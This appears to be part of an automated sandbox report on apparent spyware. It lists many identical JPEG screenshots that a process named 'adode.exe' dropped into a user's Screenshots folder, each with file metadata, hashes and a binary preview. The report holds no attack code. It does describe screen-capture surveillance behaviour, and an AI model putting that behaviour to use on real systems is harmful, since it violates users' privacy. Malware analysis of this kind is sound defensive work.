Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241223_201215.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241230_074334.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250101_115804.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250101_143112.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250101_165648.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250101_191744.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250101_210230.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250101_222516.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250102_000107.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250102_021002.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250102_040130.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250102_054344.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250102_075244.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250102_090641.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250104_142513.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250104_171412.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250104_184726.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
